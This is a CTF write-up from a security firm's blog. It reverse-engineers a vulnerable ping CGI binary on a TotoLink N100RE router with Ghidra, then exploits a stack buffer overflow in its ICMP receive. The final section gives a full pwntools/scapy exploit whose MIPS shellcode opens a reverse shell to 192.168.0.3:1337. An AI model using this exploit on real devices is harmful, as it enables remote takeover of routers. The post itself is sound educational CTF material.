Reverse Engineering and Exploiting an IoT bug

December 30, 2022

At the beginning of November this year, in Buenos Aires, Argentina, Faraday had the privilege to be a sponsor of the EKOParty security conference. As other sponsors, we had to build a couple of challenges for the CTF.Ours had six challenges, from web vulnerabilities to exploits in embedded devices. The particular thing about those challenges was that they were inside the cheapest router in the market: our lovely TotoLink N100RE.This is the write-up for the hardest challenge, a bug in a bad implementation of a ping client anticipating the FreeBSD bug one month before. The buggy ping could be triggered from the web panel; the binary was delivered in advance among the libraries needed to run it.pingoThe binary doesn’t have protections against memory corruptions’s bugs.checksecIn every binary challenge we need to make the reversing of the file, for educational purposes we grabbed the entire session of the reverse engineering process. The idea behind this video is to demonstrate some of Ghidra’s features which could be very helpful when we don’t have the challenge’s source code, for example:

  • change name and type of variables
  • identify common calls to libc in mips binaries
  • set the right type to structures

In most of the write-ups of CTF, reverse engineering concepts are taken for granted. This is a problem for newcomers unfamiliar with some basic concepts or If don’t have prior experience in this field. However, this will be different. In this video, we will take you through a step-by-step of our decompiling session using Ghidra. This step-by-step is helpful for any static reversing but is particularly functional for IoT binaries.The restored code is almost compilable:

void sendPing(int sockfd,sockaddr_in *dest)

{
  char *ipAddr;
  int ret;
  uint i;
  int optionValue;
  socklen_t addrlen;
  iphdr buffer;
  icmphdr icmphdrRecv;
  icmp packetICMP;
  sockaddr scrAddr;
  timespec res1;
  timespec res2;
  timeval optionValue2;
  
  optionValue = 0x40;
  ipAddr = (char *)inet_ntoa((dest->sin_addr).s_addr);
  optionValue2.tv_sec = 1;
  optionsValue2.tv_usec = 0;
  ret = setsockopt(sockfd,0,2,&optionValue,4);
  if (ret == 0) {
    setsockopt(sockfd,0xffff,0x1006,&optionValue2,8);
    bzero(&packetICMP,0x40);
    packetICMP.icmp_type = 8;
    packetICMP.icmp_hun.ih_idseq.icd_id = 0x1337;
    for (i = 0; i < 0x37; i = i + 1) {
      packetICMP.icmp_dun.id_data[i] = (char)i + '0';
    }
    packetICMP.icmp_dun.id_data[i] = '�';
    packetICMP.icmp_hun.ih_idseq.icd_seq = 0;
    packetICMP.icmp_cksum = makeChecksum(&packetICMP,0x40);
    clock_gettime(1,&res1);
    ret = sendto(sockfd,&packetICMP,0x40,0,dest,0x10);
    if (ret < 1) {
      puts("Packet Sending Failed!");
    }
    else {
      addrlen = 0x10;
      ret = recvfrom(sockfd,&buffer,0x200,0,&scrAddr,&addrlen);
      if (ret < 1) {
        puts("Packet receive failed!");
      }
      else {
        clock_gettime(1,&res2);
        if ((icmphdrRecv.type == NULL) && (icmphdrRecv.code == NULL)) {
          printf("%d bytes from %s msg_seq=%d ttl=%d rtt = %lu ms.n",0x40,ipAddr,1,optionValue,
                 (res2.tv_sec - res1.tv_sec) * 1000 + (res2.tv_nsec - res1.tv_nsec) / 1000000);
        }
        else {
          printf("Error..Packet received with ICMP type %d code %dn",icmphdrRecv.type,
                 icmphdrRecv.code);
        }
      }
    }
  }
  else {
    puts("Setting socket options to TTL failed!");
  }
  return;
}

int main(void)

{
  int elements;
  int sockfd;
  int ret;
  sockaddr_in dest;
  byte first;
  byte second;
  byte third;
  byte fourth;
  
  elements = getenv("QUERY_STRING");
  puts("Content-Type: text/plain;charset=us-asciin");
  if (elements == 0) {
    puts("Bad request");
  }
  else {
    elements = sscanf(elements,"ip=%hhu.%hhu.%hhu.%hhu",&first,&second,&third,&fourth);
    if (elements == 4) {
      sockfd = socket(2,3,1);
      if (sockfd < 0) {
        ret = puts("Socket file descriptor not received!!");
        return ret;
      }
      setuid(1000);
      setgid(1000);
      dest.sin_family = 2;
      dest.sin_port = htons(0);
      dest.sin_addr.s_addr._0_1_ = first;
      dest.sin_addr.s_addr._1_1_ = second;
      dest.sin_addr.s_addr._2_1_ = third;
      dest.sin_addr.s_addr._3_1_ = fourth;
      sendPing(sockfd,&dest);
    }
    else {
      puts("Bad request");
    }
  }
  return 0;
}

This binary also had all the necessary files to run with Qemu as the team said in them twitter hint

hint

In order to run successfully, the executable needs to receive the ip address of the target through the environment variable QUERY_STRING

$ sudo chroot . ./qemu-mips-static -E QUERY_STRING="ip=192.168.1.254" picar
Content-Type: text/plain;charset=us-ascii

64 bytes from 192.168.1.254 msg_seq=1 ttl=64 rtt = 2 ms.

This will be useful later because we can debug the sample with a debugger as gdb.The bug is in the recvfrom call which receives 0x200 bytes, the icmp response has a size lower than that, but if we manipulate the response, we could trigger a stack buffer overflow.To achieve this goal we need to disabled the kernel response to the incoming icmp packets using sysctl

$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
net.ipv4.icmp_echo_ignore_all = 1

Sending 0x200 bytes in the body of the ICMP packet we could manipulate the return address and hijack the control flow taking advantage of the absence of ASLR.crash-41414141

Exploit

As the binary does not have Data Execution Prevention,, we jump directly to the stack in order to execute our payload directly using the following binary’s gadgetgadgetHere is the full version of the exploit building a reverse shell with the pwntools set

import socket
from pwn import *
from scapy.all import IP, ICMP, send

context.update(arch='mips', endian='big', os='linux')

max_size = 424

shellcode = asm(
    pwnlib.shellcraft.mips.linux.connect("192.168.0.3", 1337, network='ipv4') +
    pwnlib.shellcraft.mips.linux.dupsh(sock='$s0')
)
payload = shellcode + b"a" * (max_size - len(shellcode))  + p32(0x00401018)

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
p = IP(s.recv(256))

send(IP(src=p.dst, dst=p.src) / ICMP(type=0, code=0) / payload)

Continue Reading

The latest handpicked blog articles

Our security research team actively investigates vulnerabilities in widely used technologies, with a strong focus on network infrastructure and embedded systems. Throughout 2024, our researchers reported multiple security issues affecting

January 8, 2026

Cada año, la Ekoparty nos recuerda por qué amamos lo que hacemos.Nos preparamos con la misma energía de siempre: para reencontrarnos con la comunidad, compartir lo que investigamos, aprender de otros y,

January 6, 2026

Gabriel Franco is our Head of Cybersecurity Services and introduces this new open-source tool, presented at Black Hat Arsenal. Emploleaks enables the collection of personal information using Open Source Intelligence

December 28, 2025

Stay Informed, Subscribe to Our Newsletter

Enter your email and never miss timely alerts and security guidance from the experts at Faraday.

Faraday provides a smarter way for Large Enterprises, MSSPs, and Application Security Teams to get more from their existing security ecosystem.

Headquarters

Research Lab & Dev

Solutions

Open Source

© 2025 Faraday Security. All rights reserved.
Terms and Conditions | Privacy Policy